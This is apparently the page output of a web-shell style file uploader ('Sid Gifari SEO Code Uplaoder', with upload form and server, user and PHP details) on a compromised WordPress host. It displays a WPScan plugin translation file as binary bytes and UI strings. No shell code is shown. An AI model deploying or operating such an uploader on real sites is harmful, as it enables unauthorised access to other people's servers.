Sid Gifari SEO Code Uplaoder

Sid Gifari SEO Code Uplaoder

Telegram:sidgifari

Upload File:
HEX
HEX
Server: LiteSpeed
System: Linux premium311.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: scepbisv (1262)
PHP: 8.1.33
Disabled: NONE
Upload Files
File: /home/scepbisv/public_html/wp-content/languages/plugins/wpscan-en_GB.mo
��)d	���	��)�':C/~L��
0CXw�F�=�Sr1�1�=�
+6<Ver��(X,
�+�X�7�P��  F, !s 	� #� � j� �A!�!5�!"")%"5O"N�"O�"D$#i#Yr#�#�#0�#$C$$h$n$�$�$�$�$
�$P�$%%%@,%?m%�%�%�%�%�%�%�%&3&kM&"�&�&�&�&
''#'2'?'
N'\'l'y'M�'�'�'0�'3(N(T([(`(e(l(r((W�(�(,�(#')%K)Bq)b�)**"*7?+(w+�+/�+�+�+,,%,?,P,5o,7�,1�,<-L-3]-�-
�-7�-3�-	$...;.@.V..m.�.�.�.�.;�.
�.�.	////#/$+/
P/	^/h/y/�/�/@�/�/�/030NK0H�0S�071C1L1\1k1w1�1�1;�1:�12<2FC2 �2 �2,�2�2
33+36=3at3c�3:4�J45&6Z\6T�6 70-71^7G�7�7�7A8+Y8g�8T�8B9H9IO9&�9H�9H	:(R:,{:C�:3�:  ;/A;�q;i<]r=3�=6>E;>�>(�>4�>*�>?*-?4X?�? �?�?�?�?�?@
@@@K+@w@~@
�@�@�@�@~�@TA1hA6�AC�A7BMB
\B	jBtB�B �B%�B+�B(CQ/C7�C�CA�CgD$zD5�D�D�D�DEE8EJEYEoE|E�E!�E�E$�E�EFF>,F	kF=uF	�G�G)�G'�G:H/PHL�H�H�H�HII*IIIZIFkI=�IS�IDJ0[J1�J<�J
�JKK&K5KBK�SK�KX�L
UM+cMX�M8�M�!N�N�N�N�NF�NDO	VO#`O�Oj�O�P�P5�P	�P�P)�P5QNGQO�QD�Q+RY4R�R�R0�R�RC�R*S0SHSNSZSkS
{SP�S�S�S@�S?/ToT�T�T�T�T�T�T�T3�TkU"zU�U�U�U�U�U�U�UV
VV-V:VMAV�V�V0�V3�VWWW!W&W-W3W@WWWW�W,�W#�W%XB2XauX�X�X�X7�Y(7Z`Z/eZ�Z�Z�Z�Z�Z�Z[5-[7c[1�[<�[
\3\O\
h\7v\3�\	�\�\�\�\].+]Z]b]g]n];v]
�]�]	�]�]�]�]�]$�]
^	^&^7^P^b^@q^�^�^�^�^N	_HX_S�_�_`
``)`5`>`F`;f`:�`�`�`.a!0a Ra,sa�a
�a�a+�a6�aabc}b�b��b5�dZeT^e �e0�e1fG7ff�fA�f+gg,gT�g�g�gI�g&@hHghH�h(�h,"iCOi3�i �i/�i�jk]l3wl6�lE�l(m(4m4]m*�m�m*�m4�m4n Knlntnzn�n�n�n�n�nK�no%o
6oDoPomo~|o�o1p6ApCxp7�p�p
q	qq*q :q%[q*�q(�qQ�q7'r_rAvrg�r$ s5Es{s�s�s�s�s�s�stt#t2t!Htjt%}t�t�t�t>�t		u(��{)�d����'7B	�KI���e�#"T��M�.��0�bE8�LkJ�$;�(&���>�X��u��"2<��_=i���!�c�G

�j��)��R��1[�35Q���UY���l����%C�6���w
���\�O�V�N�� �sr�4�f ����Zt��o�'��g�A#H$+����9�,��~��D`	v���^��x�nq�y?����%�W
�|-��&������]���z��������p*S��h�m��@:}�Pa�!/F� (%s ago) (%s) page, or, within the wp-config.php file.%d batch executed.%d batches executed.%d scheduled task completed.%d scheduled tasks completed.%d vulnerability found%d vulnerabilities found%s Support for strings longer than this will be removed in a future version.%s day%s days%s hour%s hours%s minute%s minutes%s month%s months%s second%s seconds%s to get your free API Token.%s week%s weeks%s year%s years%s() was called before the Action Scheduler data store was initialized<span class="wpscan-ignored">Ignored from the settings</span>A new queue has begun processing. <a href="%s">View actions in-progress &raquo;</a>A publicly accessible A publicly accessible database file  was found inA publicly accessible debug.log file was found inA publicly accessible wp-config.php backup file  was found inAPI StatusAboutAbout Action Scheduler %sAccount StatusAction GroupAction SchedulerAction Scheduler has migrated data to custom tables; however, orphaned log entries exist in the WordPress Comments table. %1$s <a href="%2$s">Learn more &raquo;</a>Action Scheduler is a scalable, traceable job queue for background processing large sets of actions. Action Scheduler works by triggering an action hook to run at some time in the future. Scheduled actions can also be scheduled to run on a recurring schedule.Action Scheduler migration in progress. The list of scheduled actions may be incomplete.Action StatusAction [%1$s] has an invalid schedule: %2$sAction [%1$s] has invalid arguments. It cannot be JSON decoded to an array. $args = %2$sAction statuses are Pending, Complete, Canceled, FailedActionScheduler_Action::$args too long. To ensure the args column can be indexed, action args should not be more than %d characters when encoded as JSON.ActionsActivity log for the action.AddAdd New Scheduled ActionAdd your API token to the settings page to be able to run a full scan.Admin menu nameScheduled ActionsArgumentsAttempting to reduce used memory...Automated ScanningAutomated scanning is currently disabled using the <code>WPSCAN_DISABLE_SCANNING_INTERVAL</code> constant.Automated scanning is currently disabled using the <code>WPSCAN_DISABLE_SCANNING_INTERVAL</code> constant. You can still run scans manually.CancelCancel the action now to avoid it being run in futureCanceledCheck API StatusCheck if the WordPress XML-RPC is enabledCheck if the WordPress secret keys have been changed.Check if version control files, such as .git or .svn, are publicly accessible.Checks if privileged users are using any passwords from our weak password list.Checks if your website is using HTTPS encryption for communications.Claim IDClick the Run All button to run a full vulnerability scan against your WordPress website.ColumnsCompleteCompleted processing action %1$s with hook: %2$sConfiguration BackupsCould not process change for action: "%1$s" (ID: %2$d). Error: %3$sCountCurrent server time is DailyData store:Database ExportsDatabase error.DeactivateDeactivating the plugin will remove the scheduled automated scanning cron event.Debug Log FilesDeleteDestination logger must be configured before running a migrationDestination store must be configured before running a migrationDisable Security ChecksDisabledDismissDownload as JsonDownload as PDFE-mailEditEdit Scheduled ActionEnter a webhook URL to receive report data as JSON.Enter one or more email addresses (separated by a comma) to be notified by email about new vulnerabilities.Error processing action %1$s: %2$sError saving action: %sEvery %sEvery FridayEvery MondayEvery MonthEvery SaturdayEvery SundayEvery ThursdayEvery TuesdayEvery WednesdayEvery minuteFailedFailed <span class="count">(%s)</span>Failed <span class="count">(%s)</span>FilterFixed in version %sFound %d scheduled taskFound %d scheduled tasksFound our WPScan security plugin helpful? Please %sGroupHello,HookHourHourlyHoursIgnore ItemsIgnore VulnerabilitiesIn-Progress <span class="count">(%s)</span>In-Progress <span class="count">(%s)</span>In-progressInvalid action - must be a recurring action.Invalid action ID. No status found.Invalid schedule. Cannot save action.Invalid value for select or count parameter. Cannot query actions.It appears one or more database tables were missing. Attempting to re-create the missing table(s).LogManageMaximum simultaneous queues already in progress (%s queue). No additional queues will begin processing until the current queues are complete.Maximum simultaneous queues already in progress (%s queues). No additional queues will begin processing until the current queues are complete.Migrated action with ID %1$d in %2$s to ID %3$d in %4$sMigrating %d actionMigrating %d actionsNameName of the action hook that will be triggered.New Scheduled ActionNewest Scheduled DateNo Report availableNo actions foundNo actions found in trashNo full scan yetNo known vulnerabilities foundNo known vulnerabilities found to affect this versionNo publicly accessible database export files were foundNo publicly accessible debug log files were foundNo publicly accessible wp-config.php backup files were foundNo scan run yet!No version control files were found in the web rootNo vulnerabilities foundNon-repeatingNot checked yet. Click the Run All button to run a scanNot checked yet. Click the Run button to run a scanNot fixedNotificationNow!Oldest Scheduled DateOptional action group.Optional data array passed to the action hook.PendingPlanPluginPluginsProcess the action now as if it were run as part of a queueRecurrenceReportResets InResultRunRun AllRunningRunning %d actionRunning %d actionsScanning TimeScheduledScheduled ActionScheduled Action ColumnsScheduled ActionsScheduled DateScheduled actions are hooks triggered on a cetain date and time.SearchSearch Scheduled ActionsSearch hook, args and claim IDSearch results for "%s"Search the file system for database export files that are publicly accessible.Search the file system for debug log files that are publicly accessible.Search the file system for wp-config.php backup files that are publicly accessible.Secret KeysSecuritySecurity ChecksSecurity checkSend AlertsSettingsSign upSome vulnerabilities were foundSource logger must be configured before running a migrationSource store must be configured before running a migrationStarted processing action %sStatusStopped the insanity for %d secondStopped the insanity for %d secondsSuccessfully canceled action: %sSuccessfully executed action: %sSuccessfully processed change for action: %sSummaryThank you,The The %s class can only be run within WP CLI.The %s found some vulnerabilities in %s, listed below.The %s user was found to have a weak password. The user's password should be updated immediately.The %s users were found to have weak passwords. The users' passwords should be updated immediately.The WPScan TeamThe WPScan WordPress security plugin uses our own constantly updated vulnerability database to stay up to date with the latest WordPress core, plugin and theme vulnerabilities. For the WPScan plugin to retrieve the potential vulnerabilities that may affect your site, you first need to configure your API token, that you can get for free from our database's website. Alternatively you can also set your API token in the wp-config.php file using the WPSCAN_API_TOKEN constant.The WordPress secret keys were not the default valuesThe XML-RPC interface is enabled. This significantly increases your site's attack surface.The XML-RPC interface is partly disabled, but still allows unauthenticated requests.The action's schedule frequency.The claim has been lost. Aborting current batch.The date/time the action is/was scheduled to run.The features of WPScan are now available within %1$sJetpack Protect%2$sThe group "%s" does not exist.The last full scan was run on: The next queue will begin processing in approximately %d seconds.The next scan will automatically be run on The task is running in the background. This page will be reloaded once finished to display the results.The website does not seem to be using HTTPS (SSL/TLS) encryption for communications.ThemeThemesThere are too many concurrent batches, but the run is forced to continue.There are too many concurrent batches.There seems to be a problem with the WPScan API. Status: 500. Check the There seems to be a problem with the WPScan API. Status: 502. Check the There was a failure fetching this actionThere was a failure fetching this action: %sThere was a failure scheduling the next instance of this action: %sThere was an error running the action scheduler: %sThis data will be deleted in %s.This section shows details of Action Scheduler.This setting allows you to set the scanning hour for the <code>Daily</code> option. For the <code>Twice Daily</code> this will be the first scan and the second will be 12 hours later. For the <code>Hourly</code> it will affect the first scan only.This setting will change the frequency that the WPScan plugin will run an automatic scan. This is useful if you want your report, or notifications, to be updated more frequently. Please note that the more frequent scans are run, the more API requests are consumed.This vulnerability was fixed in version %s. We recommend that you update as soon as possible.To regenerate your token, or upgrade your plan, %s.To use WPScan you have to setup your WPScan API Token.To use WPScan you have to setup your WPScan API Token. Either in the Twice dailyUnable to claim actions. Database error.Unable to mark failure on action %s. Database error.Unable to remove source migrated action %sUnable to save action.Unable to unlock claim %s. Database error.Unable to unlock claim on action %s. Database error.Unidentified action %sUnknown status found for action.UpgradeUsageVersion <span>%s</span>Version Control FilesVersion:ViewView ActionVulnerabilitiesVulnerabilities can be exploited by hackers and cause harm to your website.WPScanWPScan API TokenWPScan StatusWPScan TeamWPScan Vulnerabilities CheckWPScan WarningWPScan WordPress Security Scanner. Scans your system for security vulnerabilities listed in the WPScan Vulnerability Database.WPScan profile pageWe are not aware of a fix for this vulnerability.We received an unknown response from the API. Status: We were not able to brute force the password of any privileged userWe were unable to connect to the WPScan API. Check the Weak PasswordsWebsite HTTPSWordPressWordPress CoreXML-RPC EnabledXML-RPC was found to be disabledYou have entered an invalid API TokenYou have entered an invalid e-mail address.You have entered an invalid webhook URL.You hit your API limit. To increase your daily API limit please upgrade via your You need to add a WPScan API Token to the settings pageYour API Token expiredYour API Token has been set in a PHP file and been disabled here.Your site is affected by %d security vulnerabilityYour site is affected by %d security vulnerabilitiesYour website seems to be using HTTPS[WPScan Alert] Some vulnerabilities were found in %s!action canceledaction completeaction complete via %saction createdaction failed via %1$s: %2$saction failed: %saction ignoredaction ignored via %saction resetaction startedaction started via %saction timed out after %s secondscheck your profilehttp://wordpress.org/plugins/wpscan/https://wpscan.com/postFailedpostIn-Progressunexpected shutdown: PHP Fatal error %1$s in %2$s on line %3$sunlimitedPO-Revision-Date: 2025-10-13 12:35:52+0000
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=2; plural=n != 1;
X-Generator: GlotPress/4.0.1
Language: en_GB
Project-Id-Version: Plugins - WPScan &#8211; WordPress Security Scanner - Stable (latest release)
 (%s ago) (%s) page, or, within the wp-config.php file.%d batch executed.%d batches executed.%d scheduled task completed.%d scheduled tasks completed.%d vulnerability found%d vulnerabilities found%s Support for strings longer than this will be removed in a future version.%s day%s days%s hour%s hours%s minute%s minutes%s month%s months%s second%s seconds%s to get your free API Token.%s week%s weeks%s year%s years%s() was called before the Action Scheduler data store was initialised<span class="wpscan-ignored">Ignored from the settings</span>A new queue has begun processing. <a href="%s">View actions in-progress &raquo;</a>A publicly accessible A publicly accessible database file was found inA publicly accessible debug.log file was found inA publicly accessible wp-config.php backup file was found inAPI StatusAboutAbout Action Scheduler %sAccount StatusAction GroupAction SchedulerAction Scheduler has migrated data to custom tables; however, orphaned log entries exist in the WordPress Comments table. %1$s <a href="%2$s">Learn more &raquo;</a>Action Scheduler is a scalable, traceable job queue for background processing large sets of actions. Action Scheduler works by triggering an action hook to run at some time in the future. Scheduled actions can also be scheduled to run on a recurring schedule.Action Scheduler migration in progress. The list of scheduled actions may be incomplete.Action StatusAction [%1$s] has an invalid schedule: %2$sAction [%1$s] has invalid arguments. It cannot be JSON decoded to an array. $args = %2$sAction statuses are Pending, Complete, Cancelled, FailedActionScheduler_Action::$args too long. To ensure the args column can be indexed, action args should not be more than %d characters when encoded as JSON.ActionsActivity log for the action.AddAdd New Scheduled ActionAdd your API token to the settings page to be able to run a full scan.Scheduled ActionsArgumentsAttempting to reduce used memory...Automated ScanningAutomated scanning is currently disabled using the <code>WPSCAN_DISABLE_SCANNING_INTERVAL</code> constant.Automated scanning is currently disabled using the <code>WPSCAN_DISABLE_SCANNING_INTERVAL</code> constant. You can still run scans manually.CancelCancel the action now to avoid it being run in futureCancelledCheck API StatusCheck if the WordPress XML-RPC is enabledCheck if the WordPress secret keys have been changed.Check if version control files, such as .git or .svn, are publicly accessible.Checks if privileged users are using any passwords from our weak password list.Checks if your website is using HTTPS encryption for communications.Claim IDClick the Run All button to run a full vulnerability scan against your WordPress website.ColumnsCompleteCompleted processing action %1$s with hook: %2$sConfiguration BackupsCould not process change for action: "%1$s" (ID: %2$d). Error: %3$sCountCurrent server time is DailyData store:Database ExportsDatabase error.DeactivateDeactivating the plugin will remove the scheduled automated scanning cron event.Debug Log FilesDeleteDestination logger must be configured before running a migrationDestination store must be configured before running a migrationDisable Security ChecksDisabledDismissDownload as JSONDownload as PDFEmailEditEdit Scheduled ActionEnter a webhook URL to receive report data as JSON.Enter one or more email addresses (separated by a comma) to be notified by email about new vulnerabilities.Error processing action %1$s: %2$sError saving action: %sEvery %sEvery FridayEvery MondayEvery MonthEvery SaturdayEvery SundayEvery ThursdayEvery TuesdayEvery WednesdayEvery minuteFailedFailed <span class="count">(%s)</span>Failed <span class="count">(%s)</span>FilterFixed in version %sFound %d scheduled taskFound %d scheduled tasksFound our WPScan security plugin helpful? Please %sGroupHello,HookHourHourlyHoursIgnore ItemsIgnore VulnerabilitiesIn-Progress <span class="count">(%s)</span>In-Progress <span class="count">(%s)</span>In-progressInvalid action - must be a recurring action.Invalid action ID. No status found.Invalid schedule. Cannot save action.Invalid value for select or count parameter. Cannot query actions.It appears one or more database tables were missing. Attempting to recreate the missing table(s).LogManageMaximum simultaneous queues already in progress (%s queue). No additional queues will begin processing until the current queues are complete.Maximum simultaneous queues already in progress (%s queues). No additional queues will begin processing until the current queues are complete.Migrated action with ID %1$d in %2$s to ID %3$d in %4$sMigrating %d actionMigrating %d actionsNameName of the action hook that will be triggered.New Scheduled ActionNewest Scheduled DateNo Report availableNo actions foundNo actions found in binNo full scan yetNo known vulnerabilities foundNo known vulnerabilities found to affect this versionNo publicly accessible database export files were foundNo publicly accessible debug log files were foundNo publicly accessible wp-config.php backup files were foundNo scan run yet!No version control files were found in the web rootNo vulnerabilities foundNon-repeatingNot checked yet. Click the Run All button to run a scanNot checked yet. Click the Run button to run a scanNot fixedNotificationNow!Oldest Scheduled DateOptional action group.Optional data array passed to the action hook.PendingPlanPluginPluginsProcess the action now as if it were run as part of a queueRecurrenceReportResets InResultRunRun AllRunningRunning %d actionRunning %d actionsScanning TimeScheduledScheduled ActionScheduled Action ColumnsScheduled ActionsScheduled DateScheduled actions are hooks triggered on a cetain date and time.SearchSearch Scheduled ActionsSearch hook, args and claim IDSearch results for "%s"Search the file system for database export files that are publicly accessible.Search the file system for debug log files that are publicly accessible.Search the file system for wp-config.php backup files that are publicly accessible.Secret KeysSecuritySecurity ChecksSecurity checkSend AlertsSettingsSign upSome vulnerabilities were foundSource logger must be configured before running a migrationSource store must be configured before running a migrationStarted processing action %sStatusSleeping for %d secondSleeping for %d secondsSuccessfully cancelled action: %sSuccessfully executed action: %sSuccessfully processed change for action: %sSummaryThank you,The The %s class can only be run within WP-CLI.The %s found some vulnerabilities in %s, listed below.The %s user was found to have a weak password. The user's password should be updated immediately.The %s users were found to have weak passwords. The users' passwords should be updated immediately.The WPScan TeamThe WPScan WordPress security plugin uses our own constantly updated vulnerability database to stay up to date with the latest WordPress core, plugin and theme vulnerabilities. For the WPScan plugin to retrieve the potential vulnerabilities that may affect your site, you first need to configure your API token, that you can get for free from our database's website. Alternatively you can also set your API token in the wp-config.php file using the WPSCAN_API_TOKEN constant.The WordPress secret keys were not the default valuesThe XML-RPC interface is enabled. This significantly increases your site's attack surface.The XML-RPC interface is partly disabled, but still allows unauthenticated requests.The action's schedule frequency.The claim has been lost. Aborting current batch.The date/time the action is/was scheduled to run.The features of WPScan are now available within %1$sJetpack Protect%2$sThe group "%s" does not exist.The last full scan was run on: The next queue will begin processing in approximately %d seconds.The next scan will automatically be run on The task is running in the background. This page will be reloaded once finished to display the results.The website does not seem to be using HTTPS (SSL/TLS) encryption for communications.ThemeThemesThere are too many concurrent batches, but the run is forced to continue.There are too many concurrent batches.There seems to be a problem with the WPScan API. Status: 500. Check the There seems to be a problem with the WPScan API. Status: 502. Check the There was a failure fetching this actionThere was a failure fetching this action: %sThere was a failure scheduling the next instance of this action: %sThere was an error running the action scheduler: %sThis data will be deleted in %s.This section shows details of Action Scheduler.This setting allows you to set the scanning hour for the <code>Daily</code> option. For the <code>Twice Daily</code> this will be the first scan and the second will be 12 hours later. For the <code>Hourly</code> it will affect the first scan only.This setting will change the frequency that the WPScan plugin will run an automatic scan. This is useful if you want your report, or notifications, to be updated more frequently. Please note that the more frequent scans are run, the more API requests are consumed.This vulnerability was fixed in version %s. We recommend that you update as soon as possible.To regenerate your token, or upgrade your plan, %s.To use WPScan you have to setup your WPScan API Token.To use WPScan you have to setup your WPScan API Token. Either in the Twice dailyUnable to claim actions. Database error.Unable to mark failure on action %s. Database error.Unable to remove source migrated action %sUnable to save action.Unable to unlock claim %s. Database error.Unable to unlock claim on action %s. Database error.Unidentified action %sUnknown status found for action.UpgradeUsageVersion <span>%s</span>Version Control FilesVersion:ViewView ActionVulnerabilitiesVulnerabilities can be exploited by hackers and cause harm to your website.WPScanWPScan API TokenWPScan StatusWPScan TeamWPScan Vulnerabilities CheckWPScan WarningWPScan WordPress Security Scanner. Scans your system for security vulnerabilities listed in the WPScan Vulnerability Database.WPScan profile pageWe are not aware of a fix for this vulnerability.We received an unknown response from the API. Status: We were not able to brute force the password of any privileged userWe were unable to connect to the WPScan API. Check the Weak PasswordsWebsite HTTPSWordPressWordPress CoreXML-RPC EnabledXML-RPC was found to be disabledYou have entered an invalid API TokenYou have entered an invalid email address.You have entered an invalid webhook URL.You hit your API limit. To increase your daily API limit please upgrade via your You need to add a WPScan API Token to the settings pageYour API Token expiredYour API Token has been set in a PHP file and been disabled here.Your site is affected by %d security vulnerabilityYour site is affected by %d security vulnerabilitiesYour website seems to be using HTTPS[WPScan Alert] Some vulnerabilities were found in %s!action cancelledaction completeaction complete via %saction createdaction failed via %1$s: %2$saction failed: %saction ignoredaction ignored via %saction resetaction startedaction started via %saction timed out after %s secondscheck your profilehttps://wordpress.org/plugins/wpscan/https://wpscan.com/FailedIn-Progressunexpected shutdown: PHP Fatal error %1$s in %2$s on line %3$sunlimited